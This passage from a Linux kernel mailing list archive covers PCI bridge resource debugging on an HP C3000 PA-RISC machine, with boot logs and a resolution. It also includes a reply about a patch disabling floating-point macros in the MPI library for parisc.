>> ^^^^ HERE ^^^^
>> Should this be something like (in **): ?
>>    pci 0000:01:06.0: PCI bridge to *BUS 02-ff* [bus 02-ff
>> But probably it's related to the C3000 bug mentioned above.
>>    
>>
>> pci 0000:01:06.0:   bridge window [io  0x0000-0x0fff]
> 
> Something's wrong here, too.  The host bridge I/O window is
> [io  0x12000-0x13fff] (bus address [0x2000-0x3fff]), and this
> P2P bridge window is not inside it.
> 
>> pci 0000:01:06.0:   bridge window [mem 0xf9000000-0xfbffffff]
> 
> This looks wrong, too.
> 
>> pci 0000:01:06.0:   bridge window [mem 0xffffffff00000000-0xffffffff000fffff 64bit pref]
>> pci 0000:01:06.0: address space collision: [io  0x0000-0x0fff] conflicts with PCI01 Ports [io  0x12000-0x13fff]
>> pci 0000:01:06.0: no compatible bridge window for [mem 0xf9000000-0xfbffffff]
>> pci 0000:01:06.0: no compatible bridge window for [mem 0xffffffff00000000-0xffffffff000fffff 64bit pref]
>> pci 0000:01:06.0: no compatible bridge window for [??? 0x00000000 flags 0x0]
> 
> I don't know what's going on here -- looks like that resource is all zeroes?
> 
>> pci_bus 0000:02: busn_res: [bus 02-ff] end is updated to 02
>> pci 0000:01:06.0: device not available (can't reserve [io  0x0000-0x0fff])
>> pci 0000:01:06.0: Error enabling bridge (-22), continuing

>> Elroy version TR4.0 (0x5) found at 0xfffffffffed38000
>> LBA 10:4: PCI host bridge to bus 0000:03
>> pci_bus 0000:03: root bus resource [io  0x28000-0x29fff] (bus address [0x8000-0x9fff])
>> pci_bus 0000:03: root bus resource [mem 0xfffffffff3000000-0xfffffffff33fffff] (bus address [0xf3000000-0xf33fffff])
>> pci_bus 0000:03: root bus resource [bus 03]
>> pci 0000:03:01.0: [12ae:0001] type 00 class 0x020000
>> pci 0000:03:01.0: reg 10: [mem 0xfffffffff3000000-0xfffffffff3003fff]
>> pci 0000:03:03.0: [1011:0019] type 00 class 0x020000
>> pci 0000:03:03.0: reg 10: [io  0x28000-0x2807f]
>> pci 0000:03:03.0: reg 14: [mem 0xfffffffff3004000-0xfffffffff300407f]
>> pci 0000:03:03.0: reg 30: [mem 0xfffffffff3040000-0xfffffffff307ffff pref]
>> Elroy version TR4.0 (0x5) found at 0xfffffffffed3c000
>> .....
> 
> Wow, this is a real train wreck.  Has this configuration ever worked under
> Linux?  Does it work under HP-UX?

I think all devices beside 01:06.0 worked under Linux in the past.
I'll take out the 01:06.0 and try again.

>  Maybe it has devices that aren't
> officially supported and the firmware did the wrong thing?  (Though it'd
> still be nice if Linux did something more sensible than this.)

Yes :-)

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dmitry Kasatkin <dmitry.s.kasatkin@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] MPILIB: disable usage of floating point registers on parisc
Date: Fri, 31 May 2013 17:43:19 +0300
Lines: 52
Approved: news@gmane.org
Message-ID: <CAG8Ei1o51ErECB9Y=hQKFmz=CtRjm=BPZ3FcF_1pt1MiqWy2UQ@mail.gmail.com>
References: <20130505220822.GA7819@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1370011402 15395 80.91.229.3 (31 May 2013 14:43:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 31 May 2013 14:43:22 +0000 (UTC)
Cc: Dmitry Kasatkin <dmitry.kasatkin@intel.com>,
	Linux Kernel Development <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 31 16:43:22 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UiQY5-0000nR-GS
	for glpp-linux-parisc@plane.gmane.org; Fri, 31 May 2013 16:43:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755417Ab3EaOnU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 31 May 2013 10:43:20 -0400
Original-Received: from mail-ie0-f182.google.com ([209.85.223.182]:62447 "EHLO
	mail-ie0-f182.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751311Ab3EaOnU (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 31 May 2013 10:43:20 -0400
Original-Received: by mail-ie0-f182.google.com with SMTP id a14so4212675iee.13
        for <multiple recipients>; Fri, 31 May 2013 07:43:19 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        bh=t6+Cc5GDITEWIOZeQXoK+ve/XSWCF4kzDXuX0mhVI7A=;
        b=gGt5XqSi6zZoUtHqoobbAjOIia5mqNJSFpImyk1OZzOBxjUl8EQhGoLfkcCpKytvTX
         xurh3zCnTHvL1rhJUngNoTHk1JFMKopKMKpCdZXL2heJUtaEYW00sY3leYJTwArdklhr
         XxpxltRTjI9NuM5jlZlwrzBRikOgrhxYvRjBKGomhluNkI+99ypexDKw49t5DE3Tc1Ud
         NszFeYM8MsrQW3Q0T6GLfeRi3VASIWl++ZcVMruobTSgG4SHh0SWb+E9C6X9W1Iyw4Nr
         7CY3GF+kXwvcQYjEDL3NSF+3kdyfVPOGGTKTKoRvUWXYPz+1VqxyJnuvAFLbl1a5STMP
         Khig==
X-Received: by 10.50.178.135 with SMTP id cy7mr1771686igc.97.1370011399571;
 Fri, 31 May 2013 07:43:19 -0700 (PDT)
Original-Received: by 10.64.55.135 with HTTP; Fri, 31 May 2013 07:43:19 -0700 (PDT)
In-Reply-To: <20130505220822.GA7819@p100.box>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5113 gmane.linux.kernel:1500031
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5113>

Sorry. I am not at @intel.com any more. Did not see it.
Will handle.

- Dmitry


On Mon, May 6, 2013 at 1:08 AM, Helge Deller <deller@gmx.de> wrote:
> The umul_ppmm() macro for parisc uses the xmpyu assembler statement
> which does calculation via a floating point register.
>
> But usage of floating point registers inside the Linux kernel are not
> allowed and gcc will stop compilation due to the -mdisable-fpregs
> compiler option.
>
> Fix this by disabling the umul_ppmm() and udiv_qrnnd() macros. The
> mpilib will then use the generic built-in implementations instead.
>
> Signed-off-by: Helge Deller <deller@gmx.de>
>
> diff --git a/lib/mpi/longlong.h b/lib/mpi/longlong.h
> index 095ab15..d411355 100644
> --- a/lib/mpi/longlong.h
> +++ b/lib/mpi/longlong.h
> @@ -318,7 +318,8 @@ extern UDItype __udiv_qrnnd();
>              "rM" ((USItype)(bh)), \
>              "rM" ((USItype)(al)), \
>              "rM" ((USItype)(bl)))
> -#if defined(_PA_RISC1_1)
> +#if 0 && defined(_PA_RISC1_1)
> +/* xmpyu uses floating point register which is not allowed in Linux kernel. */
>  #define umul_ppmm(wh, wl, u, v) \
>  do { \
>         union {UDItype __ll; \
> @@ -337,7 +338,7 @@ do { \
>  #define UMUL_TIME 40
>  #define UDIV_TIME 80
>  #endif
> -#ifndef LONGLONG_STANDALONE
> +#if 0 /* #ifndef LONGLONG_STANDALONE */
>  #define udiv_qrnnd(q, r, n1, n0, d) \
>  do { USItype __r; \
>         (q) = __udiv_qrnnd(&__r, (n1), (n0), (d)); \
> --
> To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> Please read the FAQ at  http://www.tux.org/lkml/
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.kernel.pci,gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc/PCI: lba: fix: convert to pci_create_root_bus()
 for correct root bus resources
Date: Fri, 31 May 2013 22:46:25 +0200
Lines: 372
Approved: news@gmane.org
Message-ID: <51A90C21.7010602@gmx.de>
References: <20130530141033.GA3665@ls3530.box> <CAErSpo69AxKgz8Dg8+T7n5jsuOzdSoCUstqrX+uUh8TZ08ayqg@mail.gmail.com> <51A7ACBF.4030601@gmx.de> <20130530211244.GA28735@google.com> <51A7C763.4080704@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1370033194 24130 80.91.229.3 (31 May 2013 20:46:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 31 May 2013 20:46:34 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, linux-pci@vger.kernel.org
To: Bjorn Helgaas <bhelgaas@google.com>
Original-X-From: linux-pci-owner@vger.kernel.org Fri May 31 22:46:33 2013
Return-path: <linux-pci-owner@vger.kernel.org>
Envelope-to: glp-linux-pci@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-pci-owner@vger.kernel.org>)
	id 1UiWDY-0008O8-45
	for glp-linux-pci@plane.gmane.org; Fri, 31 May 2013 22:46:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754685Ab3EaUqa (ORCPT <rfc822;glp-linux-pci@m.gmane.org>);
	Fri, 31 May 2013 16:46:30 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:56550 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753417Ab3EaUq3 (ORCPT <rfc822;linux-pci@vger.kernel.org>);
	Fri, 31 May 2013 16:46:29 -0400
Original-Received: from mailout-de.gmx.net ([10.1.76.24]) by mrigmx.server.lan
 (mrigmx002) with ESMTP (Nemesis) id 0Lbx7K-1U1n0B2JxU-00jK4Y for
 <linux-pci@vger.kernel.org>; Fri, 31 May 2013 22:46:27 +0200
Original-Received: (qmail invoked by alias); 31 May 2013 20:46:26 -0000
Original-Received: from p54AD10CE.dip0.t-ipconnect.de (EHLO [192.168.178.60]) [84.173.16.206]
  by mail.gmx.net (mp024) with SMTP; 31 May 2013 22:46:26 +0200
X-Authenticated: #1045983
X-Provags-ID: V01U2FsdGVkX18MCYQv6bMMdUE4gMpCo9DJOu7JZlAAnscSznqU9T
	oito4W9NvBKfEr
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:17.0) Gecko/20130311 Thunderbird/17.0.4
In-Reply-To: <51A7C763.4080704@gmx.de>
X-Y-GMX-Trusted: 0
Original-Sender: linux-pci-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-pci.vger.kernel.org>
X-Mailing-List: linux-pci@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.pci:22813 gmane.linux.ports.parisc:5114
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.pci/22813>

On 05/30/2013 11:40 PM, Helge Deller wrote:
> On 05/30/2013 11:12 PM, Bjorn Helgaas wrote:
>> On Thu, May 30, 2013 at 09:47:11PM +0200, Helge Deller wrote:
>>> Maybe you could help me with another problem which I have with my C3000 as well?
>>>
>>> That's the current log:
>>> Found devices:
>>> 1. Astro BC Runway Port at 0xfffffffffed00000 [10] { 12, 0x0, 0x582, 0x0000b }
>>> 2. Elroy PCI Bridge at 0xfffffffffed30000 [10/0] { 13, 0x0, 0x782, 0x0000a }
>>> 3. Elroy PCI Bridge at 0xfffffffffed32000 [10/1] { 13, 0x0, 0x782, 0x0000a }
>>> 4. Elroy PCI Bridge at 0xfffffffffed38000 [10/4] { 13, 0x0, 0x782, 0x0000a }
>>> 5. Elroy PCI Bridge at 0xfffffffffed3c000 [10/6] { 13, 0x0, 0x782, 0x0000a }
>>> 6. Allegro W2 at 0xfffffffffffa0000 [32] { 0, 0x0, 0x5dc, 0x00004 }
>>> 7. Memory at 0xfffffffffed10200 [49] { 1, 0x0, 0x09c, 0x00009 }
>>> CPU(s): 1 x PA8700 (PCX-W2) at 750.000000 MHz
>>> Whole cache flush 492314 cycles, flushing 7983104 bytes 1594427 cycles
>>> Setting cache flush threshold to 180000 (1 CPUs online)
>>> SBA found Astro 2.1 at 0xfffffffffed00000
>>
>>> Elroy version TR4.0 (0x5) found at 0xfffffffffed30000
>>> LBA 10:0: PCI host bridge to bus 0000:00
>>> pci_bus 0000:00: root bus resource [io  0x0000-0x1fff]
>>> pci_bus 0000:00: root bus resource [mem 0xfffffffff2000000-0xfffffffff23fffff] (bus address [0xf2000000-0xf23fffff])
>>> pci_bus 0000:00: root bus resource [bus 00]
>>> pci 0000:00:0c.0: [1011:0019] type 00 class 0x020000
>>> pci 0000:00:0c.0: reg 10: [io  0x1000-0x107f]
>>> pci 0000:00:0c.0: reg 14: [mem 0xfffffffff2008000-0xfffffffff20083ff]
>>> pci 0000:00:0c.0: reg 30: [mem 0xfffffffff2040000-0xfffffffff207ffff pref]
>>> pci 0000:00:0d.0: [11d4:1889] type 00 class 0x040100
>>> pci 0000:00:0d.0: reg 10: [mem 0xfffffffff200c000-0xfffffffff200c1ff pref]
>>> pci 0000:00:0d.0: reg 14: [mem 0xfffffffff200b000-0xfffffffff200b00f pref]
>>> pci 0000:00:0d.0: reg 18: [mem 0xfffffffff200a000-0xfffffffff200a00f pref]
>>> pci 0000:00:0d.0: reg 1c: [mem 0xfffffffff2009000-0xfffffffff200900f pref]
>>> pci 0000:00:0d.0: supports D2
>>> pci 0000:00:0e.0: [100b:0002] type 00 class 0x01018a
>>> PCI: Enabled native mode for NS87415 (pif=0x8f)
>>> pci 0000:00:0e.0: reg 10: [io  0x0f00-0x0f07]
>>> pci 0000:00:0e.0: reg 14: [io  0x0e00-0x0e03]
>>> pci 0000:00:0e.0: reg 18: [io  0x0d00-0x0d07]
>>> pci 0000:00:0e.0: reg 1c: [io  0x0b00-0x0b03]
>>> pci 0000:00:0e.0: reg 20: [io  0x0a00-0x0a0f]
>>> pci 0000:00:0e.1: [100b:000e] type 00 class 0x068000
>>> pci 0000:00:0e.2: [100b:0012] type 00 class 0x0c0310
>>> pci 0000:00:0e.2: reg 10: [mem 0xfffffffff2007000-0xfffffffff2007fff]
>>> pci 0000:00:0e.2: reg 14: [mem 0xfffffffff2006000-0xfffffffff2006fff]
>>> pci 0000:00:0f.0: [1000:000b] type 00 class 0x010000
>>> pci 0000:00:0f.0: reg 10: [io  0x0900-0x09ff]
>>> pci 0000:00:0f.0: reg 14: [mem 0xfffffffff2005000-0xfffffffff20053ff 64bit]
>>> pci 0000:00:0f.0: reg 1c: [mem 0xfffffffff2002000-0xfffffffff2003fff 64bit]
>>> pci 0000:00:0f.0: supports D1 D2
>>> pci 0000:00:0f.1: [1000:000b] type 00 class 0x010000
>>> pci 0000:00:0f.1: reg 10: [io  0x0800-0x08ff]
>>> pci 0000:00:0f.1: reg 14: [mem 0xfffffffff2004000-0xfffffffff20043ff 64bit]
>>> pci 0000:00:0f.1: reg 1c: [mem 0xfffffffff2000000-0xfffffffff2001fff 64bit]
>>> pci 0000:00:0f.1: supports D1 D2
>>
>>> Elroy version TR4.0 (0x5) found at 0xfffffffffed32000
>>> LBA 10:1: PCI host bridge to bus 0000:01
>>> pci_bus 0000:01: root bus resource [io  0x12000-0x13fff] (bus address [0x2000-0x3fff])
>>> pci_bus 0000:01: root bus resource [mem 0xfffffffff6000000-0xfffffffff6ffffff] (bus address [0xf6000000-0xf6ffffff])
>>
>> 16MB window (probably "directed range").
>>
>>> pci_bus 0000:01: root bus resource [mem 0xfffffffff2400000-0xfffffffff27fffff] (bus address [0xf2400000-0xf27fffff])
>>
>> 4MB window (probably "distributed range").
>>
>>> pci_bus 0000:01: root bus resource [bus 01-02]
>>> pci 0000:01:04.0: [103c:1005] type 00 class 0x038000
>>> pci 0000:01:04.0: reg 10: [mem 0xf6000000-0xf7ffffff]
>>
>> This BAR requires 32MB, so it doesn't fit inside the window.
>>
>> Has this device ever worked on Linux, or do you know if it works on HP-UX?
> 
> Yes, that's a simple HP graphics framebuffer card for HP-UX:
> 01:04.0 Display controller: Hewlett-Packard Company A4977A Visualize EG (rev 03)
>         Flags: 66MHz, medium devsel
>         Memory at f6000000 (32-bit, non-prefetchable) [size=32M]
>         Expansion ROM at f2400000 [disabled] [size=64K]
> 
>> If so, our idea of the LBA 10:1 bridge windows is probably wrong.  There
>> is no generic mechanism for LBA window workarounds (i.e., nothing like
>> the PCI quirk mechanism), but you might be able to detect and work
>> around this issue in lba_pat_resources() or lba_legacy_resources().
>> Of course, you have to know where to get the correct window info.  It
>> looks like lba_legacy_resources() reads that directly from hardware
>> via sba_distributed_lmmio() and sba_directed_lmmio().  I'd be surprised
>> if the hardware registers gave the wrong values, since they're probably
>> used directly for routing.
>>
>>> pci 0000:01:04.0: reg 30: [mem 0xfffffffff2400000-0xfffffffff240ffff pref]
>>> pci 0000:01:05.0: [121a:0002] type 00 class 0x040000
>>> pci 0000:01:05.0: reg 10: [mem 0xf8000000-0xf8ffffff pref]
>>
>> Also wrong because it doesn't fit in any window we know about.
> 
> 01:05.0 Multimedia video controller: 3Dfx Interactive, Inc. Voodoo 2 (rev 02)
>         Flags: fast devsel
>         Memory at f8000000 (32-bit, prefetchable) [size=16M]
> 
> -> from PC. IIRC, it worked once for me under Linux in this machine (when the C3000 workaround worked).
> 
>>> pci 0000:01:06.0: [3388:0021] type 01 class 0x060400
>>> pci 0000:01:06.0: supports D1 D2
>>> pci 0000:01:06.0: PME# supported from D1 D2 D3hot D3cold
> 
> 01:06.0 PCI bridge: Hint Corp HB6 Universal PCI-PCI bridge (non-transparent mode) (rev 12) (prog-if 00 [Normal decode])
>         Flags: bus master, fast Back2Back, medium devsel, latency 255
>         Bus: primary=01, secondary=02, subordinate=02, sec-latency=255
>         I/O behind bridge: 00000000-00000fff
>         Memory behind bridge: f9000000-fbffffff
>         Prefetchable memory behind bridge: ffffffff00000000-ffffffff000fffff
>         Capabilities: [80] Power Management version 2
>         Capabilities: [90] CompactPCI hot-swap <?>
>         Capabilities: [a0] Vital Product Data
> 
> -> I don't know any longer what that is.
> Will plug it out.
> 
>>> pci 0000:01:04.0: no compatible bridge window for [mem 0xf6000000-0xf7ffffff]
>>>
>>> ^^ HERE ^^^
>>> That's actually the problem.
>>> pci 0000:01:04.0, pci 0000:01:05.0 and maybe pci 0000:01:06.0 should be:
>>> pci 0000:00:04.0, pci 0000:00:05.0 and maybe pci 0000:00:06.0.
>>>
>>> This problem is documented in lba_pci.c as a bug on the C3000 machines, that
>>> everything listed under PCI02 actually lives under PCI00.
>>> Just search for the lengthy comment in lba_pci.c (search for keyword C3000).
>>>
>>> Can you maybe give me some hints how I can build a proper workaround for that problem?
>>> Is there any similar workaround in the pci codebase which I haven't found yet?
>>> The reference code in lba_pci.c doesn't compile any longer, but maybe 
>>> it's possible to reactivate it somehow?
>>>
>>>
>>> iosapic: no IRTE for 0000:01:04.0 (IRQ not connected?)
>>> pci 0000:01:05.0: no compatible bridge window for [mem 0xf8000000-0xf8ffffff pref]
>>> iosapic: no IRTE for 0000:01:05.0 (IRQ not connected?)
>>> pci_bus 0000:02: busn_res: can not insert [bus 02-ff] under [bus 01-02] (conflicts with (null) [bus 01-02])
>>
>> The PCI core does know that LBA 10:0 leads only to [bus 01-02], but maybe
>> we try to set the end of the range higher during enumeration, in case we
>> find bridges?  We *shouldn't* go past bus 02 though, because then we might
>> falsely believe a device on bus 03 was under this LBA.  I'm not sure what's
>> going on here.
>>
>>> pci 0000:02:00.0: [102b:0525] type 00 class 0x030000
>>> pci 0000:02:00.0: reg 10: [mem 0xfa000000-0xfbffffff pref]
>>> pci 0000:02:00.0: reg 14: [mem 0xf9800000-0xf9803fff]
>>> pci 0000:02:00.0: reg 18: [mem 0xf9000000-0xf97fffff]
>>> pci 0000:02:00.0: reg 30: [mem 0xf9820000-0xf983ffff pref]
>>
>> These are all wrong, too.
>>
>>> pci 0000:01:06.0: PCI bridge to [bus 02-ff]
>>>
>>> ^^^^ HERE ^^^^
>>> Should this be something like (in **): ?
>>>    pci 0000:01:06.0: PCI bridge to *BUS 02-ff* [bus 02-ff
>>> But probably it's related to the C3000 bug mentioned above.
>>>    
>>>
>>> pci 0000:01:06.0:   bridge window [io  0x0000-0x0fff]
>>
>> Something's wrong here, too.  The host bridge I/O window is
>> [io  0x12000-0x13fff] (bus address [0x2000-0x3fff]), and this
>> P2P bridge window is not inside it.
>>
>>> pci 0000:01:06.0:   bridge window [mem 0xf9000000-0xfbffffff]
>>
>> This looks wrong, too.
>>
>>> pci 0000:01:06.0:   bridge window [mem 0xffffffff00000000-0xffffffff000fffff 64bit pref]
>>> pci 0000:01:06.0: address space collision: [io  0x0000-0x0fff] conflicts with PCI01 Ports [io  0x12000-0x13fff]
>>> pci 0000:01:06.0: no compatible bridge window for [mem 0xf9000000-0xfbffffff]
>>> pci 0000:01:06.0: no compatible bridge window for [mem 0xffffffff00000000-0xffffffff000fffff 64bit pref]
>>> pci 0000:01:06.0: no compatible bridge window for [??? 0x00000000 flags 0x0]
>>
>> I don't know what's going on here -- looks like that resource is all zeroes?
>>
>>> pci_bus 0000:02: busn_res: [bus 02-ff] end is updated to 02
>>> pci 0000:01:06.0: device not available (can't reserve [io  0x0000-0x0fff])
>>> pci 0000:01:06.0: Error enabling bridge (-22), continuing
> 
>>> Elroy version TR4.0 (0x5) found at 0xfffffffffed38000
>>> LBA 10:4: PCI host bridge to bus 0000:03
>>> pci_bus 0000:03: root bus resource [io  0x28000-0x29fff] (bus address [0x8000-0x9fff])
>>> pci_bus 0000:03: root bus resource [mem 0xfffffffff3000000-0xfffffffff33fffff] (bus address [0xf3000000-0xf33fffff])
>>> pci_bus 0000:03: root bus resource [bus 03]
>>> pci 0000:03:01.0: [12ae:0001] type 00 class 0x020000
>>> pci 0000:03:01.0: reg 10: [mem 0xfffffffff3000000-0xfffffffff3003fff]
>>> pci 0000:03:03.0: [1011:0019] type 00 class 0x020000
>>> pci 0000:03:03.0: reg 10: [io  0x28000-0x2807f]
>>> pci 0000:03:03.0: reg 14: [mem 0xfffffffff3004000-0xfffffffff300407f]
>>> pci 0000:03:03.0: reg 30: [mem 0xfffffffff3040000-0xfffffffff307ffff pref]
>>> Elroy version TR4.0 (0x5) found at 0xfffffffffed3c000
>>> .....
>>
>> Wow, this is a real train wreck.  Has this configuration ever worked under
>> Linux?  Does it work under HP-UX?
> 
> I think all devices beside 01:06.0 worked under Linux in the past.
> I'll take out the 01:06.0 and try again.
> 
>>  Maybe it has devices that aren't
>> officially supported and the firmware did the wrong thing?  (Though it'd
>> still be nice if Linux did something more sensible than this.)

Ok, I removed all unnecessary cards, incl. 100MBit NIC, 1000MBit NIC, Matrox G200 and a Visualize FX.

Now it works nicely and as expected.
Even the Visualize EG graphics card and the Voodo2 work (which were my main problem) :-)


THANKS!


Found devices:
1. Astro BC Runway Port at 0xfffffffffed00000 [10] { 12, 0x0, 0x582, 0x0000b }
2. Elroy PCI Bridge at 0xfffffffffed30000 [10/0] { 13, 0x0, 0x782, 0x0000a }
3. Elroy PCI Bridge at 0xfffffffffed32000 [10/1] { 13, 0x0, 0x782, 0x0000a }
4. Elroy PCI Bridge at 0xfffffffffed38000 [10/4] { 13, 0x0, 0x782, 0x0000a }
5. Elroy PCI Bridge at 0xfffffffffed3c000 [10/6] { 13, 0x0, 0x782, 0x0000a }
6. Allegro W2 at 0xfffffffffffa0000 [32] { 0, 0x0, 0x5dc, 0x00004 }
7. Memory at 0xfffffffffed10200 [49] { 1, 0x0, 0x09c, 0x00009 }
CPU(s): 1 x PA8700 (PCX-W2) at 750.000000 MHz
SBA found Astro 2.1 at 0xfffffffffed00000
Elroy version TR4.0 (0x5) found at 0xfffffffffed30000
LBA 10:0: PCI host bridge to bus 0000:00
pci_bus 0000:00: root bus resource [io  0x0000-0x1fff]
pci_bus 0000:00: root bus resource [mem 0xfffffffff4000000-0xfffffffff47fffff] (bus address [0xf4000000-0xf47fffff])
pci_bus 0000:00: root bus resource [bus 00]
pci 0000:00:0c.0: [1011:0019] type 00 class 0x020000
pci 0000:00:0c.0: reg 10: [io  0x1000-0x107f]
pci 0000:00:0c.0: reg 14: [mem 0xfffffffff4008000-0xfffffffff40083ff]
pci 0000:00:0c.0: reg 30: [mem 0xfffffffff4040000-0xfffffffff407ffff pref]
pci 0000:00:0d.0: [11d4:1889] type 00 class 0x040100
pci 0000:00:0d.0: reg 10: [mem 0xfffffffff400c000-0xfffffffff400c1ff pref]
pci 0000:00:0d.0: reg 14: [mem 0xfffffffff400b000-0xfffffffff400b00f pref]
pci 0000:00:0d.0: reg 18: [mem 0xfffffffff400a000-0xfffffffff400a00f pref]
pci 0000:00:0d.0: reg 1c: [mem 0xfffffffff4009000-0xfffffffff400900f pref]
pci 0000:00:0d.0: supports D2
pci 0000:00:0e.0: [100b:0002] type 00 class 0x01018a
PCI: Enabled native mode for NS87415 (pif=0x8f)
pci 0000:00:0e.0: reg 10: [io  0x0f00-0x0f07]
pci 0000:00:0e.0: reg 14: [io  0x0e00-0x0e03]
pci 0000:00:0e.0: reg 18: [io  0x0d00-0x0d07]
pci 0000:00:0e.0: reg 1c: [io  0x0b00-0x0b03]
pci 0000:00:0e.0: reg 20: [io  0x0a00-0x0a0f]
pci 0000:00:0e.1: [100b:000e] type 00 class 0x068000
pci 0000:00:0e.2: [100b:0012] type 00 class 0x0c0310
pci 0000:00:0e.2: reg 10: [mem 0xfffffffff4007000-0xfffffffff4007fff]
pci 0000:00:0e.2: reg 14: [mem 0xfffffffff4006000-0xfffffffff4006fff]
pci 0000:00:0f.0: [1000:000b] type 00 class 0x010000
pci 0000:00:0f.0: reg 10: [io  0x0900-0x09ff]
pci 0000:00:0f.0: reg 14: [mem 0xfffffffff4005000-0xfffffffff40053ff 64bit]
pci 0000:00:0f.0: reg 1c: [mem 0xfffffffff4002000-0xfffffffff4003fff 64bit]
pci 0000:00:0f.0: supports D1 D2
pci 0000:00:0f.1: [1000:000b] type 00 class 0x010000
pci 0000:00:0f.1: reg 10: [io  0x0800-0x08ff]
pci 0000:00:0f.1: reg 14: [mem 0xfffffffff4004000-0xfffffffff40043ff 64bit]
pci 0000:00:0f.1: reg 1c: [mem 0xfffffffff4000000-0xfffffffff4001fff 64bit]
pci 0000:00:0f.1: supports D1 D2
Elroy version TR4.0 (0x5) found at 0xfffffffffed32000
LBA 10:1: PCI host bridge to bus 0000:01
pci_bus 0000:01: root bus resource [io  0x12000-0x13fff] (bus address [0x2000-0x3fff])
pci_bus 0000:01: root bus resource [mem 0xfffffffffa000000-0xfffffffffbffffff] (bus address [0xfa000000-0xfbffffff])
pci_bus 0000:01: root bus resource [mem 0xfffffffff4800000-0xfffffffff4ffffff] (bus address [0xf4800000-0xf4ffffff])
pci_bus 0000:01: root bus resource [bus 01]
pci 0000:01:04.0: [103c:1005] type 00 class 0x038000
pci 0000:01:04.0: reg 10: [mem 0xfffffffffa000000-0xfffffffffbffffff]
pci 0000:01:04.0: reg 30: [mem 0xfffffffff4800000-0xfffffffff480ffff pref]
iosapic: hpa not registered for 0000:01:04.0
Elroy version TR4.0 (0x5) found at 0xfffffffffed38000
LBA 10:4: PCI host bridge to bus 0000:02
pci_bus 0000:02: root bus resource [io  0x28000-0x29fff] (bus address [0x8000-0x9fff])
pci_bus 0000:02: root bus resource [mem 0xfffffffff9000000-0xfffffffff9ffffff] (bus address [0xf9000000-0xf9ffffff])
pci_bus 0000:02: root bus resource [mem 0xfffffffff6000000-0xfffffffff67fffff] (bus address [0xf6000000-0xf67fffff])
pci_bus 0000:02: root bus resource [bus 02]
pci 0000:02:03.0: [121a:0002] type 00 class 0x040000
pci 0000:02:03.0: reg 10: [mem 0xfffffffff9000000-0xfffffffff9ffffff pref]
iosapic: hpa not registered for 0000:02:03.0
Elroy version TR4.0 (0x5) found at 0xfffffffffed3c000
LBA 10:6: PCI host bridge to bus 0000:03
pci_bus 0000:03: root bus resource [io  0x3c000-0x3dfff] (bus address [0xc000-0xdfff])
pci_bus 0000:03: root bus resource [mem 0xfffffffff7000000-0xfffffffff77fffff] (bus address [0xf7000000-0xf77fffff])
pci_bus 0000:03: root bus resource [bus 03]
.....
.....
STI GSC/PCI core graphics driver Version 0.9a
sti 0000:01:04.0: enabling SERR and PARITY (0002 -> 0142)
STI PCI graphic ROM found at fffffffff4800000 (64 kB), fb at fffffffffa000000 (32 MB)
    id 2d08c0a7-9a02587, conforms to spec rev. 8.0a
    graphics card name: PCI_GRAFFITIX1024
sticon: Initializing STI text console.
Console: switching to colour STI console 128x48
Console: switching to colour frame buffer device 128x48
fb0: stifb 1024x768-8 frame buffer device, PCI_GRAFFITIX1024, id: 2d08c0a7, mmio: 0xfffffffffa100000
